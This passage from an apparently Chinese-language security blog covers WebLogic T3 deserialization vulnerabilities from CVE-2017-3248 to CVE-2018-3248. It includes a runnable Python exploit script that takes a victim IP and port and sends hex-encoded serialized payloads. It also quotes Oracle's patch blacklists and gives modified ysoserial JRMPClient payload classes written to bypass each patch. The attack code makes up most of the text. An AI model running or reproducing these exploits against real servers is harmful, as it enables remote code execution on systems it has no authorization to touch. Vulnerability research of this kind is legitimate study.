      for d in [data1,data2,data3,data4]:
      sock.send(d.decode('hex'))
      time.sleep(2)
      print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


      def send_payload_objdata(sock, data):
      payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
      payload+=data
      payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
      payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
      sock.send(payload.decode('hex'))
      time.sleep(2)
      sock.send(payload.decode('hex'))
      res = ''
      try:
      while True:
      res += sock.recv(4096)
      time.sleep(0.1)
      except Exception:
      pass
      return res


      def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.settimeout(65)
      server_addr = (dip, dport)
      t3_handshake(sock, server_addr)
      build_t3_request_object(sock, dport)
      payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
      print("payload: " + payload)
      rs=send_payload_objdata(sock, payload)
      print('response: ' + rs)
      print('exploit completed!')


      if __name__=="__main__":
      #check for args, print usage if incorrect
      if len(sys.argv) != 7:
      print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
      '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
      sys.exit()

      dip = sys.argv[1]
      dport = int(sys.argv[2])
      path_ysoserial = sys.argv[3]
      jrmp_listener_ip = sys.argv[4]
      jrmp_listener_port = sys.argv[5]
      jrmp_client = sys.argv[6]
      exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

      再回来看 JRMP Listener 的监听

    • 调试

      版本没调对,调试好几次没东西,放篇文章在这里膜一膜再说

      CVE-2017-3248——WebLogic反序列化初探

  • CVE-2018-2628

    • 补丁分析

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
      String[] arr$ = interfaces;
      int len$ = interfaces.length;

      for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if (intf.equals("java.rmi.registry.Registry")) {
      throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
      }

      return super.resolveProxyClass(interfaces);
      }

      其出现于 weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream 类,添加了一个 resolveProxyClass 方法,只要是数据由 java.rmi.registry.Registry 接口传递过来就直接抛出异常,否则再调用其父类 resolveProxyClass 进行正常操作

      • 思路 $1$

        既然只禁了 registry一个接口,那么一个很显然的思路就是用其他的远程接口,比如使用 java.rmi.activation.Activator 或者 java.util.Map

        只需要修改 ysoserial 中的 JRMPClient 模块即可

        修改前:

        修改为

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        package ysoserial.payloads;


        import sun.rmi.server.UnicastRef;
        import sun.rmi.transport.LiveRef;
        import sun.rmi.transport.tcp.TCPEndpoint;
        import ysoserial.payloads.annotation.Authors;
        import ysoserial.payloads.annotation.PayloadTest;
        import ysoserial.payloads.util.PayloadRunner;

        import java.lang.reflect.Proxy;
        import java.rmi.activation.Activator;
        import java.rmi.registry.Registry;
        import java.rmi.server.ObjID;
        import java.rmi.server.RemoteObjectInvocationHandler;
        import java.util.Random;


        @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
        @Authors({ Authors.MBECHLER })
        public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

        public Activator getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
        port = new Random().nextInt(65535);
        host = command;
        }
        else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
        Activator.class
        }, obj);
        return proxy;
        }


        public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
        }
        }
      • 思路 $2$

        删去 JRMPClient 中的 Proxy 部分

        原因是在 2017-3248 中如果顺利调试的话可以看到 readobject 存有两个分支,对于需要反序列化的对象,如果是动态代理则会进入 resolveProxyClass 分支,而删去 Proxy 后则自然不会进入该分支,即绕过了补丁

        也就是把 Proxy 部分删去,再做一些改动即可

  • CVE-2018-2893

    • 补丁分析

      1
      2
      3
      4
      5
      6
      7
      private static final String[]DEFAULT_BLACKLIST_CLASSES = new String[]{
      "org.codehaus.groovy.runtime.ConvertedClosure",
      "org.codehaus.groovy.runtime.ConversionHandler",
      "org.codehaus.groovy.runtime.MethodClosure",
      "org.springframework.transaction.support.AbstractPlatformTransactionManager",
      "sun.rmi.server.UnicastRef"
      };

      禁掉了 RMIUnicastRef

      关于这个漏洞,网上主流的是采用 cve-2016-0638streamMessageImpl 加上 cve-2018-2628JRMPClient

      但笔者在找资料时发现了一位佬当时写的文章

      这里就不班门弄斧了

  • CVE-2018-3248

    • 补丁分析

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      private static final String[] DEFAULT_BLACKLIST_PACKAGES = 
      { "org.apache.commons.collections.functors",
      "com.sun.org.apache.xalan.internal.xsltc.trax",
      "javassist", "java.rmi.activation",
      "sun.rmi.server" };

      private static final String[] DEFAULT_BLACKLIST_CLASSES =
      { "org.codehaus.groovy.runtime.ConvertedClosure",
      "org.codehaus.groovy.runtime.ConversionHandler",
      "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
      "java.rmi.server.RemoteObjectInvocationHandler" };

      也就是禁止了

      1
      2
      3
      4
      java.rmi.activation.*
      sun.rmi.server.*
      java.rmi.server.RemoteObjectInvocationHandler
      java.rmi.server.UnicastRemoteObject

      佬告诉我们只需要找到满足以下条件的类即可

      • 继承远程类 java.rmi.server.RemoteObject
      • 不在黑名单中

        那么有以下类均可

        1
        2
        3
        4
        5
        javax.management.remote.rmi.RMIConnectionImpl_Stub
        com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
        javax.management.remote.rmi.RMIServerImpl_Stub
        sun.rmi.registry.RegistryImpl_Stub
        sun.rmi.transport.DGCImpl_Stub
    • 原理

      这里说一下怎么笨笨的找子类:

      先写个 import java.rmi.server.remoteObejctInvocationHandler 跳转到其 .java 文件里,然后 ctrl+H 看到子类信息

      然后双击 remoteObject 跳转到其 .java 文件中,再 ctrl+H 即可看到其所有子类

      RMIConnectionImpl_Stub 为例,右键-图表可以更明显地看出其父类

    • payload 如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      package ysoserial.payloads;

      import java.rmi.server.ObjID;
      import java.util.Random;
      import sun.rmi.server.UnicastRef;
      import sun.rmi.transport.LiveRef;
      import sun.rmi.transport.tcp.TCPEndpoint;
      import ysoserial.payloads.util.PayloadRunner;
      import javax.management.remote.rmi.RMIConnectionImpl_Stub;


      @SuppressWarnings ( {
      "restriction"
      } )

      public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

      public Object getObject ( final String command ) throws Exception {

      String host;
      int port;
      int sep = command.indexOf(':');
      if ( sep < 0 ) {
      port = new Random().nextInt(65535);
      host = command;
      }
      else {
      host = command.substring(0, sep);
      port = Integer.valueOf(command.substring(sep + 1));
      }
      ObjID id = new ObjID(new Random().nextInt()); // RMI registry
      TCPEndpoint te = new TCPEndpoint(host, port);
      UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
      RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
      return stub;
      }

      public static void main ( final String[] args ) throws Exception {
      Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
      PayloadRunner.run(JRMPClient3.class, args);
      }
      }
  • 暂时就这么多